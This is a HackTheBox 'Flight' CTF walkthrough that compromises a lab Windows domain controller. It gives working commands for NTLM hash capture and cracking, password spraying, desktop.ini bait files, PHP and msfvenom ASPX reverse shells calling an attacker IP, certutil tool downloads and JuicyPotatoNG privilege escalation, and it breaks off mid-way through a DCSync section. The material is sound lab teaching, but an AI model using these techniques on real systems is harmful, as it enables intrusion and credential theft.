Flight - HackTheBox (Hard)
Summary
Flight from Hack The Box was a ‘hard’ rated Windows box that showcases a really well thought through attack path focusing on exploiting web and SMB misconfigurations, stealing password hashes and laterally moving across 4 users within Active Directory. The box involves getting creative to bypass an directory traversal filter using UNC
paths to steal and crack the NTLMv2
hash of the user running the apache website process, spraying the password to find a different user’s credentials, performing a client-side attack to steal additional hashes via a desktop.ini
file on an SMB share, uploading a PHP
reverse shell to the web root accessible via SMB, port forwarding and uploading an ASPX
reverse shell to an internal website and finally exploiting an IIS
virtual machine account’s SeImpersonatePrivilege
or TGT
to privilege escalate to Administrator.
Initial recon
Port scanning
Running an nmap scan with default scripts -sC
and versioning -sV
shows us this box represents a domain controller, flight.htb
, due to ports 53
(DNS), 88
(Kerberos) and 389,636,3268,3269
(LDAP/LDAPS) being open.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
┌──(kali㉿kali)-[~/Desktop]
└─$ nmap -sCV -p- -T4 10.129.69.182
Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-08 12:20 EST
Nmap scan report for 10.129.69.182
Host is up (0.11s latency).
Not shown: 65517 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Apache httpd 2.4.52 ((Win64) OpenSSL/1.1.1m PHP/8.1.1)
|_http-title: g0 Aviation
|_http-server-header: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.1
| http-methods:
|_ Potentially risky methods: TRACE
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2022-11-09 00:22:27Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: flight.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49669/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49670/tcp open msrpc Microsoft Windows RPC
49688/tcp open msrpc Microsoft Windows RPC
61495/tcp open msrpc Microsoft Windows RPC
Service Info: Host: G0; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 6h59m43s
| smb2-time:
| date: 2022-11-09T00:23:21
|_ start_date: N/A
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 213.42 seconds
With so many ports open on domain controllers, there’s a huge number of potential routes we could start to enumerate anonymously - e.g. LDAP, RPC, SMB. However, what’s most interesting is this domain controller is running an Apache
web server on port 80
for some mad reason - please, please don’t run a website on your domain controllers even if it is internal!
Anyhow, after updating our /etc/hosts
entry with the corresponding DNS names we can view the flight.htb
site.
1
10.129.69.182 flight.htb
The site appears to represent an airline company, “g0 aviation”.
Subdomain discovery
Given the use of domain names, we can check for any subdomains hosted on the same IP using virtual host routing. We can do this by fuzzing with ffuf
and a large list of common subdomains, filtering the responses by the number of lines (115) that respond differently than the home page.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
┌──(kali㉿kali)-[~/Desktop]
└─$ ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.flight.htb" -u http://flight.htb -fl 155
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.5.0 Kali Exclusive <3
________________________________________________
:: Method : GET
:: URL : http://flight.htb
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt
:: Header : Host: FUZZ.flight.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response lines: 155
________________________________________________
school [Status: 200, Size: 3996, Words: 1045, Lines: 91, Duration: 30ms]
This results is us finding a subdomain: school.flight.htb
. After updating our /etc/hosts
file to reflect this DNS name we can view the new site in our browser.
1
10.129.69.182 flight.htb school.flight.htb
This appears to be the aviation school for the g0 company.
Vulnerable parameter discovery
When clicking on the Home
, About Us
or Blog
navigation buttons we can identify an interesting ?view
parameter in the URL that is being used to display each of the different pages. E.g. ?view=blog.html
.
Parameters in the URL like this are always interesting, as there’s nothing stopping us modifying the URL parameter to try and force the website to display unintended content. Consulting this github repo displays the top 25 web parameters vulnerable to exploits such as LFI
, SSRF
and SQLi
. If we look within the vulnerable LFI parameter list we see number 19 is ?view={payload}
, which matches exactly what we have here.
Before confirming if the parameter is vulnerable LFI, we could first try to perform directory traversal to view the C:\Windows\System32\drivers\etc\hosts
file through the ?view=
parameter which should be readable by any user on the underlying Windows OS.
1
http://school.flight.htb/index.php?view=c:\windows\system32\drivers\etc\hosts
However, it seems the website has accounted for this with a filter that is blocking our exploitation attempts.
SSRF discovery
Before trying to bypass the filter I checked for SSRF
, as ?view={target}
is also present in the most vulnerable SSRF parameters. If SSRF
was present, we would be able to view internal-only services running on the underlying OS through this parameter in the website. To check if SSRF is present, we can attempt to view the original domain flight.htb
through the school.flight.htb
subdomain.
1
http://school.flight.htb/index.php?view=http://127.0.0.1
We can see the original domain index page is displayed, meaning the parameter is vulnerable to SSRF
!
One way to abuse this SSRF is to fuzz for any internal ports (0-9999
to save time) hosting any internal services using ffuf
against the ?view=
parameter, filtering a response size to determine any notable ports.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
┌──(kali㉿kali)-[~/Desktop]
└─$ ffuf -w /usr/share/wordlists/seclists/Fuzzing/4-digits-0000-9999.txt -u 'http://school.flight.htb/index.php?view=http://127.0.0.1:FUZZ' -fs 1102
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.5.0 Kali Exclusive <3
________________________________________________
:: Method : GET
:: URL : http://school.flight.htb/index.php?view=http://127.0.0.1:FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Fuzzing/4-digits-0000-9999.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response size: 1102
________________________________________________
0000 [Status: 200, Size: 8171, Words: 1689, Lines: 185, Duration: 80ms]
0080 [Status: 200, Size: 8171, Words: 1689, Lines: 185, Duration: 28ms]
8000 [Status: 200, Size: 47051, Words: 27500, Lines: 789, Duration: 45ms]
We see that port 80
is highlighted (our current website) and more interesting also port 8000
, which could be an internal website.
However, looking at this internal website on port 8000
and fuzzing for additional directories through the SSRF
doesn’t reveal anything fruitful. It appears to be functionality to check availability for flight direction, but the CSS
is a messed up due to viewing via SSRF
.
1
http://school.flight.htb/index.php?view=http://127.0.0.1:8000
Although not immediately useful, we should remember this for later as this internal site could be used as a potential avenue for privilege escalation.
File disclosure discovery
Focusing back to the path traversal, we need to try and enumerate the filter that was blocking our initial exploitation. Through the ?view=
parameter on index.php
we can by default view the static html pages home.html
, about.html
and blog.html
. But what if we try and ‘view’ the source of the dynamic index.php
page, could we leak some of the PHP source to help us understand the filter?
Attempting to view index.php
results in some information leakage, including PHP source code!
1
http://school.flight.htb/index.php?view=index.php
By inspecting the page source with CTRL+U
we can actually view the source code of index.php
and see this PHP source is simply displayed not executed, confirming this is just file disclosure vulnerability and not LFI
. This source code interestingly shows us how the ?view=
parameter filter works:
The filter looks pretty solid against common LFI exploitation through against viewing other files with ..\
, against PHP wrappers with filter
, UNC paths with \\
, htaccess
files and .shtml
files.
First user
Despite the filter at first glance looking secure, the developer actually missed a crucial part of the file_get_contents
blacklist. When blacklisting against accessing UNC
paths through the parameter with \\
, they missed out by not explicitly blocking its counter part //
. This is probably because the developer forgot that Windows allows both backslashes or forward slashes when resolving UNC paths, to ensure compatibility with different protocols.
As described here on HackTricks, if we host an SMB
server that requires NTLM
authentication and force the Windows machine to connect back and attempt to authenticate to it using the UNC
path //10.10.14.16/reverse
, we will capture the username and NTLMv2
password hash of the account running the Apache process on the underlying Windows system when it connects.
Hash capturing
One really easy way to host an SMB server that meets our authentication requirements is to start Responder. We can start it on our tun0
interface over the HTB VPN:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
┌──(kali㉿kali)-[~/Desktop]
└─$ sudo responder -I tun0
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
NBT-NS, LLMNR & MDNS Responder 3.1.3.0
To support this project:
Patreon -> https://www.patreon.com/PythonResponder
Paypal -> https://paypal.me/PythonResponder
Author: Laurent Gaffie (laurent.gaffie@gmail.com)
To kill this script hit CTRL-C
[+] Poisoners:
LLMNR [ON]
NBT-NS [ON]
MDNS [ON]
DNS [ON]
DHCP [OFF]
[+] Servers:
HTTP server [ON]
HTTPS server [ON]
WPAD proxy [OFF]
Auth proxy [OFF]
SMB server [ON]
Kerberos server [ON]
SQL server [ON]
FTP server [ON]
IMAP server [ON]
POP3 server [ON]
SMTP server [ON]
DNS server [ON]
LDAP server [ON]
RDP server [ON]
DCE-RPC server [ON]
WinRM server [ON]
[+] HTTP Options:
Always serving EXE [OFF]
Serving EXE [OFF]
Serving HTML [OFF]
Upstream Proxy [OFF]
[+] Poisoning Options:
Analyze Mode [OFF]
Force WPAD auth [OFF]
Force Basic Auth [OFF]
Force LM downgrade [OFF]
Force ESS downgrade [OFF]
[+] Generic Options:
Responder NIC [tun0]
Responder IP [10.10.16.44]
Responder IPv6 [dead:beef:4::102a]
Challenge set [random]
Don't Respond To Names ['ISATAP']
[+] Current Session Variables:
Responder Machine Name [WIN-Q5QJBROHZSZ]
Responder Domain Name [0FTI.LOCAL]
Responder DCE-RPC Port [48705]
[+] Listening for events...
Then force a connection back to our SMB
server by visiting the URL http://school.flight.htb/index.php?view=//10.10.14.16/reverse
. Upon doing this, we capture the NTLMv2
hash of the account running the Apache process!
Hash cracking
We can copy and paste this hash into a text file hash.txt
and attempt to crack it using john the ripper and everyones favourite wordlist rockyou.txt
:
1
2
3
4
5
6
7
8
9
10
┌──(kali㉿kali)-[/tmp]
└─$ john -w=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4, HMAC-MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
S@Ss!K@*t13 (svc_apache)
1g 0:00:00:06 DONE (2022-11-08 13:20) 0.1605g/s 1711Kp/s 1711Kc/s 1711KC/s SADTT..S4241033
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.
After a few seconds it cracks! So we now have credentials: svc_apache:S@Ss!K@*t13
.
SMB enumeration
Lets see where this can get us - maybe we can list any SMB shares accessible by this user? We could use smbclient
or my preference is using crackmapexec --shares
, as it also displays the permissions the current user has on all of the shares (read/write) which is incredibly useful!
1
2
┌──(kali㉿kali)-[/tmp]
└─$ crackmapexec smb 10.129.155.72 -u svc_apache -p 'S@Ss!K@*t13' --shares
We can successfully list all the shares on the DC! To summarise the listed shares:
ADMIN$
= default remote admin shareC$
= default remote drive shareIPC$
= default remote IPC share used for communicating via named pipes like authenticating via SMBNETLOGON
= default share on domain controllers to store things like logon scripts and group policy templatesShared
= a non-standard ‘share’ we should check out!SYSVOL
= default share on domain controllers to store things like group policy objects (GPOs)Users
= a non-standard share that could be a hosted version ofc:\Users
so we should check it out!Web
= a non-standard share we should check out!
Checking out the 3 interesting non-standard shares: Shared
, Users
, and Web
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
┌──(kali㉿kali)-[~/Desktop]
└─$ smbclient //Flight.htb/Shared -U svc_apache%'S@Ss!K@*t13'
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Fri Oct 28 16:21:28 2022
.. D 0 Fri Oct 28 16:21:28 2022
5056511 blocks of size 4096. 1214821 blocks available
smb: \> exit
┌──(kali㉿kali)-[~/Desktop]
└─$ smbclient //Flight.htb/Users -U svc_apache%'S@Ss!K@*t13'
Try "help" to get a list of possible commands.
smb: \> dir
. DR 0 Thu Sep 22 16:16:56 2022
.. DR 0 Thu Sep 22 16:16:56 2022
.NET v4.5 D 0 Thu Sep 22 15:28:03 2022
.NET v4.5 Classic D 0 Thu Sep 22 15:28:02 2022
Administrator D 0 Mon Oct 31 14:34:00 2022
All Users DHSrn 0 Sat Sep 15 03:28:48 2018
C.Bum D 0 Thu Sep 22 16:08:23 2022
Default DHR 0 Tue Jul 20 15:20:24 2021
Default User DHSrn 0 Sat Sep 15 03:28:48 2018
desktop.ini AHS 174 Sat Sep 15 03:16:48 2018
Public DR 0 Tue Jul 20 15:23:25 2021
svc_apache D 0 Fri Oct 21 14:50:21 2022
5056511 blocks of size 4096. 1214821 blocks available
smb: \> exit
┌──(kali㉿kali)-[~/Desktop]
└─$ smbclient //Flight.htb/Web -U svc_apache%'S@Ss!K@*t13'
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Mon Apr 3 20:42:00 2023
.. D 0 Mon Apr 3 20:42:00 2023
flight.htb D 0 Mon Apr 3 20:42:00 2023
school.flight.htb D 0 Mon Apr 3 20:42:00 2023
5056511 blocks of size 4096. 1214821 blocks available
smb: \> exit
After having a poke through them we can confirm the following:
Shared
- appears to be empty. We should note this for checking out later.Web
- appears to be the web root of the both of the websites hosted on port80
. Using our read privileges, nothing interesting like credentials are found by reviewing the source code of the websites. However, hosting a Web root on a share is a very bad idea for developers as if we could gain write privileges in here, we could easily upload a PHP reverse shell to the website - something to remember for later!Users
- is hosted version ofc:\Users
. We can extract usernames and look around some of the users home directories, but no interesting files are found.
So to recap we have the credentials svc_apache:S@Ss!K@*t13
, but we can’t find anything useful in SMB shares with these.
Second user
Password spraying
One of the most common pitfalls in AD environments is password reuse, so we could try and spray this password against other valid usernames. In the Users
share we found C.Bum
and Administrator
, but there might be other users in the domain that just haven’t logged into the DC to get their home folder created. As we already have valid credentials for the svc_apache
user, we can extract a list of all users in the domain with impacket’s GetADUsers.py.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(kali㉿kali)-[~/Desktop]
└─$ impacket-GetADUsers -all -dc-ip flight.htb flight.htb/svc_apache:'S@Ss!K@*t13' | cut -d " " -f 1 | grep -Ev 'Name|Impacket|\-\-|\['
Administrator
Guest
krbtgt
S.Moon
R.Cold
G.Lors
L.Kein
M.Gold
C.Bum
W.Walker
I.Francis
D.Truff
V.Stevens
svc_apache
O.Possum
With a list of valid usernames, using crackmapexec
we can spray the password S@Ss!K@*t13
against all other users and see if any logins are successful demonstrating password reuse is present. By default CME will exit after a successful login is found (which will happen during the spray for svc_apache
), so we can use the --continue-on-success
flag to continue checking against all other users.
1
2
┌──(kali㉿kali)-[~/Desktop]
└─$ sudo crackmapexec smb 10.129.155.72 -u users.txt -p 'S@Ss!K@*t13' --continue-on-success
Scrolling through the output for successful logons presented by [+]
we find a successful login for the S.Moon
user with the same password S@Ss!K@*t13
! As always with new credentials we could try for a quick win to login via something like WinRM
if the user was in the Remote Management Users
group, but this was not the case. Instead, we can check back to the three interesting SMB shares we found to see if this user has any additional permissions present.
Third user
More SMB enumeration
We can determine file permissions on the shares to see if we can write to any of them with our new S.Moon
user once again with --shares
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
crackmapexec smb 10.129.155.72 -u S.Moon -p 'S@Ss!K@*t13' --shares
SMB flight.htb 445 G0 [*] Windows 10.0 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False)
SMB flight.htb 445 G0 [+] flight.htb\S.Moon:S@Ss!K@*t13
SMB flight.htb 445 G0 [+] Enumerated shares
SMB flight.htb 445 G0 Share Permissions Remark
SMB flight.htb 445 G0 ----- ----------- ------
SMB flight.htb 445 G0 ADMIN$ Remote Admin
SMB flight.htb 445 G0 C$ Default share
SMB flight.htb 445 G0 IPC$ READ Remote IPC
SMB flight.htb 445 G0 NETLOGON READ Logon server share
SMB flight.htb 445 G0 Shared READ,WRITE
SMB flight.htb 445 G0 SYSVOL READ Logon server share
SMB flight.htb 445 G0 Users READ
SMB flight.htb 445 G0 Web READ
Now we see we have an additional Write
permission to the Shared
SMB share!
Remember we although we have write access to Shared
, we saw earlier there is nothing in it.
Client side attack
Maybe if the folder is named shared
someone may look in it? This hints towards us attempting a client side attack. A common attack in Active Directory against writeable shares is dropping a malicious file in there to try and capture a users hash when they visit the file as outlined here. This can be done in a variety of ways such as maliciously crafted .scf
, .url
, .rtf
, .lnk
, autorun.inf
or desktop.ini
files. We can use Greenwolf’s ntlm_theft to automate creating these files.
1
2
3
4
5
┌──(kali㉿kali)-[~/Desktop]
└─$ git clone https://github.com/Greenwolf/ntlm_theft; cd ntlm_theft
┌──(kali㉿kali)-[~/Desktop/ntlm_theft]
└─$ python3 ntlm_theft.py -g all -s 10.10.14.16 -f test
When attempting to upload them all we see that the only successfully uploaded file was desktop.ini
, indicating there is some sort of file extension restriction.
If any user browses to the Shared
folder containing this file, they will attempt to resolve the network path specified in the IconResource
field that we specified to point to our kali machine:
1
2
[.ShellClassInfo]
IconResource=\\10.10.14.16\aa
Therefore, we can start responder
on our tun0
interface like before and wait to receive any hashes if anyone browses this share!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
┌──(kali㉿kali)-[~/Desktop]
└─$ sudo responder -I tun0
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
NBT-NS, LLMNR & MDNS Responder 3.1.3.0
To support this project:
Patreon -> https://www.patreon.com/PythonResponder
Paypal -> https://paypal.me/PythonResponder
Author: Laurent Gaffie (laurent.gaffie@gmail.com)
To kill this script hit CTRL-C
[+] Poisoners:
LLMNR [ON]
NBT-NS [ON]
MDNS [ON]
DNS [ON]
DHCP [OFF]
[+] Servers:
HTTP server [ON]
HTTPS server [ON]
WPAD proxy [OFF]
Auth proxy [OFF]
SMB server [ON]
Kerberos server [ON]
SQL server [ON]
FTP server [ON]
IMAP server [ON]
POP3 server [ON]
SMTP server [ON]
DNS server [ON]
LDAP server [ON]
RDP server [ON]
DCE-RPC server [ON]
WinRM server [ON]
[+] HTTP Options:
Always serving EXE [OFF]
Serving EXE [OFF]
Serving HTML [OFF]
Upstream Proxy [OFF]
[+] Poisoning Options:
Analyze Mode [OFF]
Force WPAD auth [OFF]
Force Basic Auth [OFF]
Force LM downgrade [OFF]
Force ESS downgrade [OFF]
[+] Generic Options:
Responder NIC [tun0]
Responder IP [10.10.16.44]
Responder IPv6 [dead:beef:4::102a]
Challenge set [random]
Don't Respond To Names ['ISATAP']
[+] Current Session Variables:
Responder Machine Name [WIN-Q5QJBROHZSZ]
Responder Domain Name [0FTI.LOCAL]
Responder DCE-RPC Port [48705]
[+] Listening for events...
After a few minutes we receive a NTLMv2
hash of a new user c.bum
!
Once again, we can try and crack this hash using the same method shown earlier:
1
2
3
4
5
6
7
8
9
10
┌──(kali㉿kali)-[/Desktop]
└─$ john -w=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4, HMAC-MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Tikkycoll_431012284 (c.bum)
1g 0:00:00:03 DONE (2022-11-08 14:57) 0.2724g/s 2781Kp/s 2781Kc/s 2781KC/s TinyStuff13..Tiffannie
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.
The hash cracks, meaning we now have the credentials: c.bum:Tikkycoll_431012284
Even more SMB enumeration
Attempting to login via WinRM
doesn’t work, so again no quick win here. As with previous users, lets again check smb share access to see if we now have permissions to upload a web shell to the web root:
1
2
┌──(kali㉿kali)-[~/Desktop]
└─$ crackmapexec smb 10.129.155.72 -u c.bum -p 'Tikkycoll_431012284' --shares
We now have additional write
access to the web root so we have full permission to upload whatever we like to the web root (including a reverse shell)!
Getting a reverse shell
We can upload a PHP reverse shell (as the web server runs Apache) to the flight.htb
website. The go-to pentestmonkey PHP reverse shell wont help us here on Windows, as this only works on Unix systems. Back when I did the OSCP
I found this alternative, an adaptation of pentestmonkey’s shell adapted for Windows systems, which works perfectly by just changing the IP address and port.
1
2
3
4
5
...
// change the host address and/or port number as necessary
$sh = new Shell('10.10.14.16', 443);
$sh->run();
...
We can then upload this to SMB
via smbclient
to be hosted on the flight.htb
website.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(kali㉿kali)-[~/Desktop]
└─$ smbclient //flight.htb/Web -U c.bum%'Tikkycoll_431012284'
Try "help" to get a list of possible commands.
smb: \> cd flight.htb
smb: \flight.htb\> put windows-php-reverse-shell.php
putting file windows-php-reverse-shell.php as \flight.htb\windows-php-reverse-shell.php (23.4 kb/s) (average 23.4 kb/s)
smb: \flight.htb\> dir
. D 0 Tue Apr 4 20:08:00 2023
.. D 0 Tue Apr 4 20:08:00 2023
css D 0 Tue Apr 4 20:07:01 2023
images D 0 Tue Apr 4 20:07:01 2023
index.html A 7069 Thu Feb 24 00:58:10 2022
js D 0 Tue Apr 4 20:07:01 2023
windows-php-reverse-shell.php A 9302 Tue Apr 4 20:08:00 2023
5056511 blocks of size 4096. 1244903 blocks available
smb: \flight.htb\>
After uploading it we see our shell is hosted on the website! Luckily no AV was present, meaning our uploaded payload stays present ready to be executed. If we call our uploaded payload at http:/flight.htb/windows-php-reverse-shell.php
, we gain a reverse shell in our netcat listener as svc_apache
!
As we are in a reverse shell (no GUI), we can’t just open a new cmd prompt using the ‘run as a different user’ functionality, type in credentials we most recently obtained and become our c.bum
user. One way to get around this is to use RunasCS in our netcat shell, which can be used “to run specific processes with different permissions than the user’s current logon provides using explicit credentials”.
We know c.bum
credentials, so we can create another process as c.bum
to call a reverse shell with these and gain a shell as him! We already know there is no AV running on the box so no need to worry about obfuscating RunasCS
to get it round Defender.
1
2
c:\Windows\Tasks> certutil -urlcache -f http://10.10.14.16/RunasCs_net4.exe RunasCs_net4.exe
c:\Windows\Tasks> .\RunasCs_net4.exe c.bum Tikkycoll_431012284 cmd.exe -r 10.10.14.16:443
This results in a reverse shell as c.bum
!
Fourth user
Internal website enumeration
Whilst enumerating groups, we see that c.bum
is in an interesting flight\WebDevs
group.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
c:\inetpub\development>whoami /groups
whoami /groups
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
========================================== ================ ============================================== ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Group used for deny only
NT AUTHORITY\INTERACTIVE Well-known group S-1-5-4 Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
flight\WebDevs Group S-1-5-21-4078382237-1492182817-2568127209-1614 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label S-1-16-8192
This suggests our c.bum
user is a web developer, meaning it is likely they would have permission to modify any hosted websites on the DC. If we remember back to our SSRF
enumeration, we found an internal website on port 8000
we believed may be used for privilege escalation.
If we take a look within c:\
, we can see two web roots - the xampp
is obviously where the Apache
site on port 80
is hosted from, but also an inetpub
site which is the default folder for Microsoft IIS
websites.
Taking a look inside c:\inetpub
we see a development
folder, explaining why the site is internal as it is being ‘developed’, and the contents of the internal website.
We can verify the port 8000
we found with SSRF
is open using netstat
and is running with PID 4
:
1
2
3
4
c:\> netstat -ano
...
Proto Local Address Foreign Address State PID
TCP 0.0.0.0:8000 0.0.0.0:0 LISTENING 4
We can confirm if this is an avenue for privilege escalation by enumerating the permissions this internal website is running as by querying the process running the site with tasklist
.
1
2
3
4
c:\> tasklist /fi "pid eq 4"
Image Name PID Session Name Session# Mem Usage
========================= ======== ================ =========== ============
System 4 Services 0 132 K
We see this is being run by a system service account. By default, IIS
uses the DefaultAppPool
user to run the default website. By default this appool user has the SeImpersonatePrivilege
to access resources and perform actions on behalf of the web application it is running, whilst still maintaining the security and isolation of the application pool. If we could get a reverse shell through a vulnerability in this IIS
website it would be a quick win exploiting the SeImpersonatePrivilege
to escalate to NT AUTHORITY\SYSTEM
.
Port forwarding
To check out the internal website we can perform reverse port forwarding to access this internal website locally using chisel
. We first download it with certutil
:
1
c:\Windows\Tasks> certutil -urlcache -f http://10.10.14.16/chisel_1.7.7_windows_amd64 chisel.exe
Back on our kali box we then start the chisel
server on port 53
and --reverse
flag to specify reverse port forwarding.
1
2
3
4
5
┌──(kali㉿kali)-[~/Downloads]
└─$ ./chisel_1.7.7_linux_amd64 server --port 53 --reverse
2023/04/04 21:09:01 server: Reverse tunnelling enabled
2023/04/04 21:09:01 server: Fingerprint oa0/Ujm2JtHpLg93Ml9Mansvc3AYvmVaAuoBB48EXx8=
2023/04/04 21:09:01 server: Listening on http://0.0.0.0:53
We then connect to our chisel
server with the client, forwarding localhost port 8000
on the windows machine to localhost port 8000
on our kali machine, which will communicate via an SSH-encrypted HTTP tunnel.
1
2
3
c:\Windows\Tasks> .\chisel.exe client -v 10.10.14.16:53 R:127.0.0.1:8000:127.0.0.1:8000
chisel.exe : 2023/04/04 21:09:15 client: Connecting to ws://10.10.14.16:53
2023/04/04 21:09:16 client: Connected (Latency 87.7782ms)
We can then view the internal site we initially saw through SSRF running as system when we navigate to http://127.0.0.1:8000
!
There are no obvious vulnerabilities that we can exploit to gain a reverse shell through this website. However, remember we are in WebDevs
group so we should examine the folder permissions on the webroot using icacls
, so see if as a web developer we can modify the web source.
We can see C.Bum
has write (W)
permissions into the web root, meaning we can write anything into the website, i.e. a reverse shell!
Reverse shell
Just like how Apache
runs PHP
code, IIS
runs code in ASP/ASPX
. Therefore, we can create an ASPX
reverse shell payload and upload it into the web root, which we can easily do with msfvenom
:
1
2
┌──(kali㉿kali)-[~/Desktop]
└─$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.16 LPORT=443 -f aspx -o shell.aspx
We can then download this into the c:\inetpub\development
web root folder on the target machine!
Then if we execute our reverse shell at http://127.0.0.1:8000/shell.aspx
in our browser:
We receive a reverse shell as iis apppool\defaultapppool
in our netcat listener!
Privesc
From this user there are two easy ways to escalate our privileges to Administrator
/ NT AUTHORITY\SYSTEM
.
Privesc way #1 - JuicyPotatoNG
As expected, the iis apppool\defaultapppool
user has the SeImpersonatePrivilege
, which allows our user to impersonate a user that it’s able to get a handle to. The most well known and probably easiest way to escalate with this privilege is using one of the famous potato exploits that exploits the way Microsoft handles tokens.
My favourite way is actually using PrintSpoofer, however this isn’t possible this time as the Print Spooler
service is disabled on the machine.
At the time of box release, a new version of JuicyPotato - JuicyPotatoNG had just came out, and was working on the latest version of Windows so was perfect to use. I used it to simply read the root flag on the machine, although we could just as easily get a reverse shell.
1
2
3
c:\Windows\Tasks> .\JuicyPotatoNG.exe -t * -p "C:\windows\system32\cmd.exe" -a "/c type c:\users\administrator\desktop\root.txt > c:\root.txt"
c:\Windows\Tasks> type c:\root.txt
03970351b5b62bdccc5dd86f2968f353
And with root.txt
we pwned the box!
Privesc way #2 - DCSync
A more interesting way to escalate our privileges is by abusing the virtual machine accounts. The TGT
of the iis apppool\defaultapppool
virtual account is actually the one from the DC machine account g0$
. Interestingly, this is because these virtual accounts actually authenticate over the network as the machine account. There is an awesome blog post explaining this here.
To verify this, as the appool user we can force an SMB connection to our attacker box with responder running via SMB: net use \\10.10.14.16\a
:
1
2
3
[SMB] NTLMv2-SSP Client : ::ffff:10.129.69.182
[SMB] NTLMv2-SSP Username : flight\G0$
